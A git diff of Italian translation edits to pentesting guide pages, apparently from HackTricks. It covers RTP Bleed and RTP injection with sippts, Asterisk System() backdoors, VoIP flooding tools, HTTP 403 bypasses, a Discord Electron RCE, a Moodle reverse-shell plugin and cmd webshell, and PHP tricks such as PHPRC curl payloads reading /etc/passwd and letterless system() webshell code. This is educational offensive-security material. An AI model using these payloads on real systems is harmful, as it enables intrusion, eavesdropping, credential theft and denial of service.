I proxy RTP cercano di affrontare le **limitazioni del NAT** che influenzano i sistemi RTC proxyando i flussi RTP tra due o più parti. Quando è presente il NAT, il software del proxy RTP spesso non può fare affidamento sulle informazioni IP e porta RTP recuperate tramite segnalazione (ad es. SIP). Pertanto, un certo numero di proxy RTP ha implementato un meccanismo in cui tale **tuplet IP e porta viene appreso automaticamente**. Questo viene spesso fatto ispezionando il traffico RTP in arrivo e contrassegnando l'IP e la porta sorgente per qualsiasi traffico RTP in arrivo come quelli a cui si dovrebbe rispondere. Questo meccanismo, che può essere chiamato "modalità di apprendimento", **non utilizza alcun tipo di autenticazione**. Pertanto, **gli attaccanti** possono **inviare traffico RTP al proxy RTP** e ricevere il traffico RTP proxyato destinato al chiamante o al chiamato di un flusso RTP in corso. Chiamiamo questa vulnerabilità RTP Bleed perché consente agli attaccanti di ricevere flussi media RTP destinati a essere inviati a utenti legittimi.
|
||||
I proxy RTP cercano di affrontare le **limitazioni del NAT** che influenzano i sistemi RTC proxyando i flussi RTP tra due o più parti. Quando il NAT è presente, il software del proxy RTP spesso non può fare affidamento sulle informazioni IP e porta RTP recuperate tramite segnalazione (ad es. SIP). Pertanto, un certo numero di proxy RTP ha implementato un meccanismo in cui tale **tupla IP e porta viene appresa automaticamente**. Questo viene spesso fatto ispezionando il traffico RTP in arrivo e contrassegnando l'IP e la porta sorgente per qualsiasi traffico RTP in arrivo come quelli a cui si dovrebbe rispondere. Questo meccanismo, che può essere chiamato "modalità di apprendimento", **non utilizza alcun tipo di autenticazione**. Pertanto, **gli attaccanti** possono **inviare traffico RTP al proxy RTP** e ricevere il traffico RTP proxyato destinato al chiamante o al chiamato di un flusso RTP in corso. Chiamiamo questa vulnerabilità RTP Bleed perché consente agli attaccanti di ricevere flussi media RTP destinati a essere inviati a utenti legittimi.
|
||||
|
||||
Un altro comportamento interessante dei proxy RTP e degli stack RTP è che a volte, **anche se non vulnerabili a RTP Bleed**, accetteranno, inoltreranno e/o elaboreranno pacchetti RTP da qualsiasi sorgente. Pertanto, gli attaccanti possono inviare pacchetti RTP che possono consentire loro di iniettare i loro media al posto di quelli legittimi. Chiamiamo questo attacco iniezione RTP perché consente l'iniezione di pacchetti RTP illegittimi in flussi RTP esistenti. Questa vulnerabilità può essere trovata sia nei proxy RTP che nei terminali.
|
||||
Un altro comportamento interessante dei proxy RTP e degli stack RTP è che a volte, **anche se non vulnerabili a RTP Bleed**, accetteranno, inoltreranno e/o elaboreranno pacchetti RTP da qualsiasi sorgente. Pertanto, gli attaccanti possono inviare pacchetti RTP che possono consentire loro di iniettare i propri media al posto di quelli legittimi. Chiamiamo questo attacco iniezione RTP perché consente l'iniezione di pacchetti RTP illegittimi in flussi RTP esistenti. Questa vulnerabilità può essere trovata sia nei proxy RTP che nei punti finali.
|
||||
|
||||
Asterisk e FreePBX hanno tradizionalmente utilizzato l'impostazione **`NAT=yes`**, che consente al traffico RTP di bypassare l'autenticazione, portando potenzialmente a nessun audio o audio unidirezionale nelle chiamate.
|
||||
|
||||
@ -540,7 +540,7 @@ sippts rtcpbleed -i 10.10.0.10
|
||||
```bash
|
||||
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
||||
```
|
||||
- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject sfrutta la vulnerabilità RTP Bleed iniettando un file audio (formato WAV).
|
||||
- **`SIPPTS rtpbleedinject`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject sfrutta la vulnerabilità RTP Bleed iniettando un file audio (formato WAV).
|
||||
```bash
|
||||
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
||||
```
|
||||
@ -553,18 +553,18 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
C'è un comando chiamato **`Shell`** che potrebbe essere utilizzato **invece di `System`** per eseguire comandi di sistema se necessario.
|
||||
|
||||
> [!WARNING]
|
||||
> Se il server **non consente l'uso di determinati caratteri** nel comando **`System`** (come in Elastix), verifica se il server web consente di **creare file in qualche modo all'interno del sistema** (come in Elastix o trixbox), e usalo per **creare uno script di backdoor** e poi usa **`System`** per **eseguire** quello **script**.
|
||||
> Se il server **non consente l'uso di determinati caratteri** nel comando **`System`** (come in Elastix), verifica se il server web consente di **creare file in qualche modo all'interno del sistema** (come in Elastix o trixbox), e usalo per **creare uno script di backdoor** e poi usa **`System`** per **eseguire** quel **script**.
|
||||
|
||||
#### File locali interessanti e permessi
|
||||
|
||||
- **`sip.conf`** -> Contiene la password degli utenti SIP.
|
||||
- Se il **server Asterisk è in esecuzione come root**, potresti compromettere root.
|
||||
- L'**utente root di mysql** potrebbe **non avere alcuna password**.
|
||||
- questo potrebbe essere usato per creare un nuovo utente mysql come backdoor.
|
||||
- questo potrebbe essere utilizzato per creare un nuovo utente mysql come backdoor.
|
||||
- **`FreePBX`**
|
||||
- **`amportal.conf`** -> Contiene la password dell'amministratore del pannello web (FreePBX).
|
||||
- **`FreePBX.conf`** -> Contiene la password dell'utente FreePBXuser utilizzato per accedere al database.
|
||||
- questo potrebbe essere usato per creare un nuovo utente mysql come backdoor.
|
||||
- questo potrebbe essere utilizzato per creare un nuovo utente mysql come backdoor.
|
||||
- **`Elastix`**
|
||||
- **`Elastix.conf`** -> Contiene diverse password in chiaro come la password root di mysql, la password IMAPd, la password dell'amministratore web.
|
||||
- **Diverse cartelle** apparterranno all'utente asterisk compromesso (se non in esecuzione come root). Questo utente può leggere i file precedenti e controlla anche la configurazione, quindi potrebbe far caricare ad Asterisk altri binari con backdoor quando eseguiti.
|
||||
@ -579,20 +579,20 @@ Oppure puoi utilizzare gli script da [http://blog.pepelux.org/2011/09/13/inyecta
|
||||
|
||||
Ci sono diversi modi per cercare di ottenere DoS nei server VoIP.
|
||||
|
||||
- **`SIPPTS flood`** da [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood invia messaggi illimitati al bersaglio.
|
||||
- **`SIPPTS flood`** da [**sippts**](https://github.com/Pepelux/sippts)**: Il flood SIPPTS invia messaggi illimitati al bersaglio.
|
||||
- `sippts flood -i 10.10.0.10 -m invite -v`
|
||||
- **`SIPPTS ping`** da [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping effettua un ping SIP per vedere il tempo di risposta del server.
|
||||
- **`SIPPTS ping`** da [**sippts**](https://github.com/Pepelux/sippts)**: Il ping SIPPTS effettua un ping SIP per vedere il tempo di risposta del server.
|
||||
- `sippts ping -i 10.10.0.10`
|
||||
- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protocollo IAX utilizzato da Asterisk.
|
||||
- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Uno strumento per eseguire flooding di messaggi SIP/SDP INVITE su UDP/IP.
|
||||
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Invia diversi pacchetti RTP ben formati. È necessario conoscere le porte RTP che vengono utilizzate (sniff prima).
|
||||
- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Invia diversi pacchetti RTP ben formati. È necessario conoscere le porte RTP che vengono utilizzate (sniffare prima).
|
||||
- [**SIPp**](https://github.com/SIPp/sipp): Consente di analizzare e generare traffico SIP, quindi può essere utilizzato anche per DoS.
|
||||
- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Il coltellino svizzero SIP. Può anche essere utilizzato per eseguire attacchi SIP.
|
||||
- Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
|
||||
### Vulnerabilità del sistema operativo
|
||||
|
||||
Il modo più semplice per installare un software come Asterisk è scaricare una **distribuzione OS** che lo ha già installato, come: **FreePBX, Elastix, Trixbox**... Il problema con questi è che una volta che funziona, gli amministratori di sistema potrebbero **non aggiornarli più** e **le vulnerabilità** verranno scoperte col tempo.
|
||||
Il modo più semplice per installare un software come Asterisk è scaricare una **distribuzione OS** che lo ha già installato, come: **FreePBX, Elastix, Trixbox**... Il problema con questi è che una volta che funziona, gli amministratori di sistema potrebbero **non aggiornarli più** e le **vulnerabilità** verranno scoperte nel tempo.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
||||
@ -14,7 +14,7 @@ Prova a utilizzare **verbi diversi** per accedere al file: `GET, HEAD, POST, PUT
|
||||
|
||||
- **Cambia l'intestazione Host** in un valore arbitrario ([che ha funzionato qui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
- Prova a [**utilizzare altri User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) per accedere alla risorsa.
|
||||
- **Fuzz HTTP Headers**: prova a utilizzare le **intestazioni HTTP Proxy**, l'autenticazione HTTP Basic e NTLM brute-force (con solo alcune combinazioni) e altre tecniche. Per fare tutto questo ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
- **Fuzz HTTP Headers**: prova a utilizzare le **intestazioni HTTP**, l'autenticazione HTTP di base e NTLM brute-force (con solo alcune combinazioni) e altre tecniche. Per fare tutto questo ho creato lo strumento [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
- `X-Forwarded-For: 127.0.0.1`
|
||||
@ -35,17 +35,17 @@ Se il **percorso è protetto**, puoi provare a bypassare la protezione del perco
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
- Se la pagina è **dietro un proxy**, forse è il proxy a impedirti di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **o** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
- Fuzz [**special HTTP headers**](special-http-headers.md) cercando risposte diverse.
|
||||
- **Fuzz special HTTP headers** mentre fuzzing **HTTP Methods**.
|
||||
- Se la pagina è **dietro un proxy**, forse è il proxy a impedirti di accedere alle informazioni private. Prova ad abusare di [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **o** [**intestazioni hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
- Fuzz [**intestazioni HTTP speciali**](special-http-headers.md) cercando risposte diverse.
|
||||
- **Fuzz intestazioni HTTP speciali** mentre fuzzing **HTTP Methods**.
|
||||
- **Rimuovi l'intestazione Host** e forse sarai in grado di bypassare la protezione.
|
||||
|
||||
## Path **Fuzzing**
|
||||
|
||||
Se _/path_ è bloccato:
|
||||
|
||||
- Prova a utilizzare _**/**_**%2e/path \_(se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche**\_\*\* /%252e\*\*/path (doppia codifica URL)
|
||||
- Prova il **bypass Unicode**: _/**%ef%bc%8f**path_ (I caratteri codificati in URL sono come "/") quindi quando vengono ricodificati tornerà a essere _//path_ e forse avrai già bypassato il controllo del nome _/path_
|
||||
- Prova a utilizzare `/%2e/path` (se l'accesso è bloccato da un proxy, questo potrebbe bypassare la protezione). Prova anche `/%252e**/path` (doppia codifica URL)
|
||||
- Prova il **bypass Unicode**: _/**%ef%bc%8f**path_ (I caratteri codificati in URL sono come "/") quindi quando viene ricodificato sarà _//path_ e forse avrai già bypassato il controllo del nome _/path_
|
||||
- **Altri bypass di percorso**:
|
||||
- site.com/secret –> HTTP 403 Forbidden
|
||||
- site.com/SECRET –> HTTP 200 OK
|
||||
@ -82,7 +82,7 @@ Se _/path_ è bloccato:
|
||||
|
||||
## **Protocol version**
|
||||
|
||||
Se utilizzi HTTP/1.1 **prova a usare 1.0** o anche a testare se **supporta 2.0**.
|
||||
Se utilizzi HTTP/1.1 **prova a utilizzare 1.0** o anche a testare se **supporta 2.0**.
|
||||
|
||||
## **Other Bypasses**
|
||||
|
||||
@ -94,7 +94,7 @@ Se utilizzi HTTP/1.1 **prova a usare 1.0** o anche a testare se **supporta 2.0**
|
||||
## **Brute Force**
|
||||
|
||||
- **Indovina la password**: Testa le seguenti credenziali comuni. Sai qualcosa sulla vittima? O sul nome della sfida CTF?
|
||||
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Prova autenticazioni basic, digest e NTLM.
|
||||
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Prova autenticazione di base, digest e NTLM.
|
||||
```:Common creds
|
||||
admin admin
|
||||
admin password
|
||||
|
||||
@ -31,13 +31,13 @@ return 1337
|
||||
```
|
||||
Controlla le diapositive originali per altri modi di eseguire programmi senza avere un prompt che chiede permessi.
|
||||
|
||||
Apparentemente un altro modo per caricare ed eseguire codice è accedere a qualcosa come `file://127.0.0.1/electron/rce.jar`
|
||||
A quanto pare, un altro modo per caricare ed eseguire codice è accedere a qualcosa come `file://127.0.0.1/electron/rce.jar`
|
||||
|
||||
## Esempio 2: RCE dell'app Discord
|
||||
|
||||
Esempio da [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
||||
|
||||
Controllando gli script di preload, ho scoperto che Discord espone la funzione, che consente di chiamare alcuni moduli autorizzati tramite `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, nella pagina web.\
|
||||
Controllando gli script di preload, ho scoperto che Discord espone la funzione, che consente di chiamare alcuni moduli consentiti tramite `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, nella pagina web.\
|
||||
Qui, non potevo usare moduli che possono essere utilizzati per RCE direttamente, come il modulo _child_process_, ma ho **trovato un codice dove RCE può essere ottenuto sovrascrivendo i metodi incorporati di JavaScript** e interferendo con l'esecuzione del modulo esposto.
|
||||
|
||||
Il seguente è il PoC. Sono riuscito a confermare che l'applicazione **calc** viene **aperta** quando **chiamo la funzione `getGPUDriverVersions`** che è definita nel modulo chiamato "_discord_utils_" da devTools, mentre **sovrascrivo `RegExp.prototype.test` e `Array.prototype.join`**.
|
||||
@ -71,9 +71,9 @@ result.nvidia = { error: e.toString() }
|
||||
return result
|
||||
}
|
||||
```
|
||||
Di solito, l'_execa_ cerca di eseguire "_nvidia-smi.exe_", che è specificato nella variabile `nvidiaSmiPath`, tuttavia, a causa dell'override di `RegExp.prototype.test` e `Array.prototype.join`, **l'argomento viene sostituito con "**_**calc**_**" nell'elaborazione interna di \_execa**\_**.
|
||||
Di solito, _execa_ cerca di eseguire "_nvidia-smi.exe_", che è specificato nella variabile `nvidiaSmiPath`, tuttavia, a causa dell'override di `RegExp.prototype.test` e `Array.prototype.join`, **l'argomento viene sostituito con "**_**calc**_**" nell'elaborazione interna di _execa**_**.
|
||||
|
||||
In particolare, l'argomento viene sostituito modificando le seguenti due parti.
|
||||
Specificamente, l'argomento viene sostituito modificando i seguenti due parti.
|
||||
|
||||
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@ ImageMagick, una versatile libreria per l'elaborazione delle immagini, presenta
|
||||
|
||||
## Verso Politiche più Sicure
|
||||
|
||||
Per affrontare queste sfide, è stato sviluppato un [strumento](https://imagemagick-secevaluator.doyensec.com/) per aiutare nella progettazione e nell'audit delle politiche di sicurezza di ImageMagick. Questo strumento è radicato in una ricerca approfondita e mira a garantire che le politiche non siano solo robuste, ma anche prive di scappatoie che potrebbero essere sfruttate.
|
||||
Per affrontare queste sfide, è stato [sviluppato uno strumento](https://imagemagick-secevaluator.doyensec.com/) per aiutare nella progettazione e nell'audit delle politiche di sicurezza di ImageMagick. Questo strumento è radicato in una ricerca approfondita e mira a garantire che le politiche siano non solo robuste, ma anche prive di scappatoie che potrebbero essere sfruttate.
|
||||
|
||||
## Approccio Allowlist vs Denylist
|
||||
|
||||
@ -41,6 +41,6 @@ L'efficacia di una politica di sicurezza può essere confermata utilizzando il c
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
|
||||
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -66,11 +66,11 @@ Ho scoperto che gli strumenti automatici sono piuttosto **inutili nel trovare vu
|
||||
|
||||
## **RCE**
|
||||
|
||||
Devi avere il ruolo di **manager** e puoi **installare plugin** all'interno della scheda **"Amministrazione del sito"**\*\*:\*\*
|
||||
Devi avere il ruolo di **manager** e puoi **installare plugin** all'interno della scheda **"Amministrazione del sito"**:
|
||||
|
||||
.png>)
|
||||
|
||||
Se sei manager potresti comunque dover **attivare questa opzione**. Puoi vedere come nel PoC di escalation dei privilegi di moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
Se sei un manager, potresti comunque dover **attivare questa opzione**. Puoi vedere come nel PoC di escalation dei privilegi di moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Poi, puoi **installare il seguente plugin** che contiene il classico pentest-monkey php r**ev shell** (_prima di caricarlo devi decomprimerlo, cambiare l'IP e la porta del revshell e ricomprimerlo di nuovo_)
|
||||
|
||||
@ -80,7 +80,7 @@ moodle-rce-plugin.zip
|
||||
|
||||
Oppure potresti usare il plugin da [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) per ottenere una shell PHP regolare con il parametro "cmd".
|
||||
|
||||
Per accedere e lanciare il plugin malevolo devi accedere a:
|
||||
Per accedere e lanciare il plugin malevolo, devi accedere a:
|
||||
```bash
|
||||
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
||||
```
|
||||
|
||||
@ -20,9 +20,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Bypassare i confronti PHP
|
||||
|
||||
### Confronti deboli/Gestione dei tipi ( == )
|
||||
### Confronti deboli/Type Juggling ( == )
|
||||
|
||||
Se `==` viene utilizzato in PHP, ci sono casi imprevisti in cui il confronto non si comporta come previsto. Questo perché "==" confronta solo i valori trasformati nello stesso tipo, se vuoi anche confrontare che il tipo dei dati confrontati sia lo stesso devi usare `===`.
|
||||
Se `==` viene utilizzato in PHP, ci sono casi inaspettati in cui il confronto non si comporta come previsto. Questo perché "==" confronta solo i valori trasformati nello stesso tipo, se vuoi anche confrontare che il tipo dei dati confrontati sia lo stesso devi usare `===`.
|
||||
|
||||
Tabelle di confronto PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
@ -43,7 +43,7 @@ Ulteriori informazioni in [https://medium.com/swlh/php-type-juggling-vulnerabili
|
||||
|
||||
### **in_array()**
|
||||
|
||||
**Gestione dei tipi** influisce anche sulla funzione `in_array()` per impostazione predefinita (devi impostare a true il terzo argomento per effettuare un confronto rigoroso):
|
||||
**Type Juggling** influisce anche sulla funzione `in_array()` per impostazione predefinita (devi impostare a true il terzo argomento per effettuare un confronto rigoroso):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
@ -64,7 +64,7 @@ Lo stesso errore si verifica con `strcasecmp()`
|
||||
|
||||
### Juggling di tipo rigoroso
|
||||
|
||||
Anche se `===` è **in uso**, potrebbero esserci errori che rendono la **comparazione vulnerabile** al **juggling di tipo**. Ad esempio, se la comparazione **converte i dati in un diverso tipo di oggetto prima di confrontare**:
|
||||
Anche se `===` è **in uso**, potrebbero esserci errori che rendono la **comparazione vulnerabile** al **juggling di tipo**. Ad esempio, se la comparazione **sta convertendo i dati in un diverso tipo di oggetto prima di confrontare**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -74,7 +74,7 @@ Anche se `===` è **in uso**, potrebbero esserci errori che rendono la **compara
|
||||
|
||||
#### Bypass della nuova riga
|
||||
|
||||
Tuttavia, quando si delimita l'inizio della regexp, `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di bypassare questo controllo. Esempio:
|
||||
Tuttavia, quando si delimita l'inizio della regexp `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di bypassare questo controllo. Esempio:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -98,7 +98,7 @@ Trova un esempio qui: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
|
||||
#### **Bypass dell'errore di lunghezza**
|
||||
|
||||
(Questo bypass è stato provato apparentemente su PHP 5.2.5 e non sono riuscito a farlo funzionare su PHP 7.3.15)\
|
||||
Se puoi inviare a `preg_match()` un **input** valido e **molto grande**, **non sarà in grado di elaborarlo** e potrai **bypassare** il controllo. Ad esempio, se sta bloccando un JSON potresti inviare:
|
||||
Se puoi inviare a `preg_match()` un **input** valido molto **grande**, **non sarà in grado di elaborarlo** e potrai **bypassare** il controllo. Ad esempio, se sta bloccando un JSON potresti inviare:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -131,9 +131,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
|
||||
$obfs .= ""; //string "7"
|
||||
$obfs += ""; //int 7
|
||||
```
|
||||
## Execute After Redirect (EAR)
|
||||
## Esegui dopo il reindirizzamento (EAR)
|
||||
|
||||
Se PHP sta reindirizzando a un'altra pagina ma nessuna funzione **`die`** o **`exit`** è **chiamata dopo che l'intestazione `Location`** è impostata, PHP continua a eseguire e ad aggiungere i dati al corpo:
|
||||
Se PHP reindirizza a un'altra pagina ma nessuna funzione **`die`** o **`exit`** è **chiamata dopo che l'intestazione `Location`** è impostata, PHP continua a eseguire e ad aggiungere i dati al corpo:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
@ -153,11 +153,11 @@ Check:
|
||||
|
||||
## More tricks
|
||||
|
||||
- **register_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register_globals** potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore e.g. $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili\*\* che vengono utilizzate all'interno del codice.
|
||||
- I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **cookie diversi sono utilizzati in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\
|
||||
In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che **il valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome corrispondente in path2).
|
||||
- **register_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register_globals** potrebbe essere attivo (o il loro comportamento viene imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore e.g. $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili** che vengono utilizzate all'interno del codice.
|
||||
- I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **vengono utilizzati cookie diversi in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\
|
||||
In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che il **valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome corrispondente in path2).
|
||||
- Quando hai i **nomi utente** degli utenti della macchina. Controlla l'indirizzo: **/\~\<USERNAME>** per vedere se le directory php sono attivate.
|
||||
- Se una configurazione php ha **`register_argc_argv = On`** allora i parametri di query separati da spazi vengono utilizzati per popolare l'array di argomenti **`array_keys($_SERVER['argv'])`** come se fossero **argomenti della CLI**. Questo è interessante perché se quella **impostazione è disattivata**, il valore dell'**array args sarà `Null`** quando chiamato dal web poiché l'array args non sarà popolato. Pertanto, se una pagina web cerca di controllare se sta girando come web o come strumento CLI con un confronto come `if (empty($_SERVER['argv'])) {` un attaccante potrebbe inviare **parametri nella richiesta GET come `?--configPath=/lalala`** e penserà di stare girando come CLI e potenzialmente analizzare e utilizzare quegli argomenti. Maggiori informazioni nel [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
|
||||
- Se una configurazione php ha **`register_argc_argv = On`** allora i parametri di query separati da spazi vengono utilizzati per popolare l'array di argomenti **`array_keys($_SERVER['argv'])`** come se fossero **argomenti della CLI**. Questo è interessante perché se quella **impostazione è disattivata**, il valore dell'**array args sarà `Null`** quando chiamato dal web poiché l'array args non sarà popolato. Pertanto, se una pagina web cerca di controllare se sta funzionando come web o come strumento CLI con un confronto come `if (empty($_SERVER['argv'])) {` un attaccante potrebbe inviare **parametri nella richiesta GET come `?--configPath=/lalala`** e penserà di funzionare come CLI e potenzialmente analizzare e utilizzare quegli argomenti. Maggiori informazioni nel [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
|
||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
@ -175,7 +175,9 @@ True
|
||||
|
||||
#### Causing error after setting headers
|
||||
|
||||
Da [**questo thread di twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) puoi vedere che inviando più di 1000 parametri GET o 1000 parametri POST o 20 file, PHP non imposterà gli header nella risposta
|
||||
Da [**questo thread di twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) puoi vedere che inviando più di 1000 parametri GET o 1000 parametri POST o 20 file, PHP non imposterà gli header nella risposta.
|
||||
|
||||
Consentendo di bypassare, ad esempio, gli header CSP impostati in codici come:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
@ -262,7 +264,7 @@ Per scoprire il numero di parentesi che devi chiudere:
|
||||
|
||||
- `?order=id;}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ';'`). Probabilmente ci manca una o più parentesi.
|
||||
- `?order=id);}//`: otteniamo un **avviso**. Sembra corretto.
|
||||
- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi di chiusura.
|
||||
- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi chiuse.
|
||||
|
||||
### **RCE tramite .httaccess**
|
||||
|
||||
@ -281,7 +283,7 @@ Se trovi una vulnerabilità che ti consente di **modificare le variabili env in
|
||||
3. Imposta la variabile `PHPRC` sul file che abbiamo caricato nel passo 2.
|
||||
- Ottieni ulteriori informazioni su come eseguire questa catena [**dal rapporto originale**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
- **PHPRC** - un'altra opzione
|
||||
- Se **non puoi caricare file**, potresti usare in FreeBSD il "file" `/dev/fd/0` che contiene il **`stdin`**, essendo il **corpo** della richiesta inviata al `stdin`:
|
||||
- Se **non puoi caricare file**, puoi usare in FreeBSD il "file" `/dev/fd/0` che contiene il **`stdin`**, essendo il **corpo** della richiesta inviata al `stdin`:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- Oppure per ottenere RCE, abilita **`allow_url_include`** e prepende un file con **codice PHP base64**:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
@ -311,7 +313,7 @@ phpinfo();
|
||||
## Bypass della sanitizzazione PHP & Brain Fuck
|
||||
|
||||
[**In questo post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti.\
|
||||
Inoltre viene proposta un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli:
|
||||
Inoltre viene proposta anche un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
@ -381,7 +383,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Quindi, se puoi **eseguire PHP arbitrario senza numeri e lettere** puoi inviare una richiesta come la seguente abusando di quel payload per eseguire PHP arbitrario:
|
||||
Quindi, se puoi **eseguire PHP arbitrario senza numeri e lettere**, puoi inviare una richiesta come la seguente abusando di quel payload per eseguire PHP arbitrario:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
